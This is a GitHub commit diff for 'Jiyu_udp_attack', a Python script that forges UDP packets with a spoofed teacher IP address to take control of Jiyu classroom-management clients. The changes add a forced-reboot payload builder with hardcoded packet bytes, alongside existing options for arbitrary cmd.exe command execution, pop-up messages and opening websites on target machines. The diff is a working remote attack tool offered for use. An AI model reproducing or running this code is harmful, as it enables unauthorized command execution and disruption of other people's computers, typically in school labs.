Skip to content

Commit 60de305

Browse files
committed
feat: Add pkg_reboot function to package reboot command with optional timeout and message
1 parent f91f5b1 commit 60de305

File tree

2 files changed

+106
-20
lines changed

2 files changed

+106
-20
lines changed

Jiyu_udp_attack/__main__.py

Lines changed: 87 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -12,38 +12,105 @@
1212
import argparse
1313

1414
from sender import broadcast_packet
15-
from packet import pkg_message, pkg_website, pkg_execute
15+
from packet import pkg_message, pkg_reboot, pkg_website, pkg_execute
1616

1717

1818
if __name__ == "__main__":
1919
parser = argparse.ArgumentParser(
2020
description="Jiyu Attack Script",
2121
epilog="Github Repositories: https://github.com/weilycoder/Jiyu_udp_attack/tree/main/",
2222
)
23-
parser.add_argument("-s", "--teacher-ip", type=str, required=True, help="Teacher's IP address")
24-
parser.add_argument("-f", "--teacher-port", type=int, default=None, help="Teacher's port (default to random port)")
25-
parser.add_argument("-t", "--target", type=str, required=True, help="Target IP address")
26-
parser.add_argument("-p", "--port", type=int, default=4705, help="Port to send packets to (default: 4705)")
27-
parser.add_argument("-i", "--ip-id", type=int, default=None, help="IP ID for the packet (default: random ID)")
23+
parser.add_argument(
24+
"-s",
25+
"--teacher-ip",
26+
type=str,
27+
required=True,
28+
help="Teacher's IP address",
29+
)
30+
parser.add_argument(
31+
"-f",
32+
"--teacher-port",
33+
type=int,
34+
default=None,
35+
help="Teacher's port (default to random port)",
36+
)
37+
parser.add_argument(
38+
"-t",
39+
"--target",
40+
type=str,
41+
required=True,
42+
help="Target IP address",
43+
)
44+
parser.add_argument(
45+
"-p",
46+
"--port",
47+
type=int,
48+
default=4705,
49+
help="Port to send packets to (default: 4705)",
50+
)
51+
parser.add_argument(
52+
"-i",
53+
"--ip-id",
54+
type=int,
55+
default=None,
56+
help="IP ID for the packet (default: random ID)",
57+
)
2858

2959
group = parser.add_mutually_exclusive_group(required=True)
30-
group.add_argument("-m", "--message", type=str, help="Message to send")
31-
group.add_argument("-w", "--website", type=str, help="Website URL to ask to open")
32-
group.add_argument("-c", "--command", type=str, help="Command to execute on the target")
60+
group.add_argument(
61+
"-m",
62+
"--message",
63+
type=str,
64+
help="Message to send",
65+
)
66+
group.add_argument(
67+
"-w",
68+
"--website",
69+
type=str,
70+
help="Website URL to ask to open",
71+
)
72+
group.add_argument(
73+
"-c",
74+
"--command",
75+
type=str,
76+
help="Command to execute on the target",
77+
)
78+
group.add_argument(
79+
"-r",
80+
"--reboot",
81+
nargs="*",
82+
default=None,
83+
metavar="timeout [message]",
84+
help="Reboot the target machine, optionally with a timeout and message",
85+
)
3386

3487
args = parser.parse_args()
3588
teacher_ip = args.teacher_ip
3689
teacher_port = args.teacher_port
3790
target = args.target
3891
port = args.port
39-
if args.message:
40-
payload = pkg_message(args.message)
41-
elif args.website:
42-
payload = pkg_website(args.website)
43-
elif args.command:
44-
payload = pkg_execute("cmd.exe", f'/D /C "{args.command}"', "minimize")
45-
else:
46-
raise ValueError("Either message or website must be provided")
47-
48-
broadcast_packet(teacher_ip, teacher_port, target, port, payload, ip_id=args.ip_id)
49-
print(f"Packet sent to {target} on port {port} with payload length {len(payload)} bytes")
92+
93+
try:
94+
if args.message:
95+
payload = pkg_message(args.message)
96+
elif args.website:
97+
payload = pkg_website(args.website)
98+
elif args.command:
99+
payload = pkg_execute("cmd.exe", f'/D /C "{args.command}"', "minimize")
100+
elif args.reboot is not None:
101+
match args.reboot:
102+
case []:
103+
payload = pkg_reboot()
104+
case [timeout]:
105+
payload = pkg_reboot(timeout=int(timeout))
106+
case [timeout, message]:
107+
payload = pkg_reboot(timeout=int(timeout), message=message)
108+
case _:
109+
parser.error("Invalid reboot arguments: expected [timeout] or [timeout, message]")
110+
else:
111+
raise ValueError("Either message or website must be provided")
112+
113+
broadcast_packet(teacher_ip, teacher_port, target, port, payload, ip_id=args.ip_id)
114+
print(f"Packet sent to {target} on port {port} with payload length {len(payload)} bytes")
115+
except Exception as e:
116+
parser.error(f"({e.__class__.__name__}) {e}")

Jiyu_udp_attack/packet.py

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -111,3 +111,22 @@ def pkg_website(url: str) -> bytes:
111111
)
112112

113113
return head + data + b"\x00" * 4
114+
115+
116+
def pkg_reboot(timeout: Optional[int] = None, message: str = "") -> bytes:
117+
"""
118+
Packages a command to reboot the system into a specific byte format, including a header.
119+
120+
Returns:
121+
bytes: The packaged reboot command as a byte array, including a header and padding.
122+
"""
123+
head = (
124+
b"DMOC\x00\x00\x01\x00*\x02\x00\x00"
125+
+ secrets.token_bytes(16)
126+
+ b" N\x00\x00\xc0\xa8\xe9\x01\x1d\x02\x00\x00\x1d\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x13\x00\x00"
127+
+ (b"\x01" if timeout is None else b"\x00")
128+
+ (timeout or 0).to_bytes(4, "little")
129+
+ b"\x01\x00\x00\x00\x00\x00\x00\x00"
130+
)
131+
data = format_data(message, 256)
132+
return head + data + b"\x00" * 258

0 commit comments

Comments
 (0)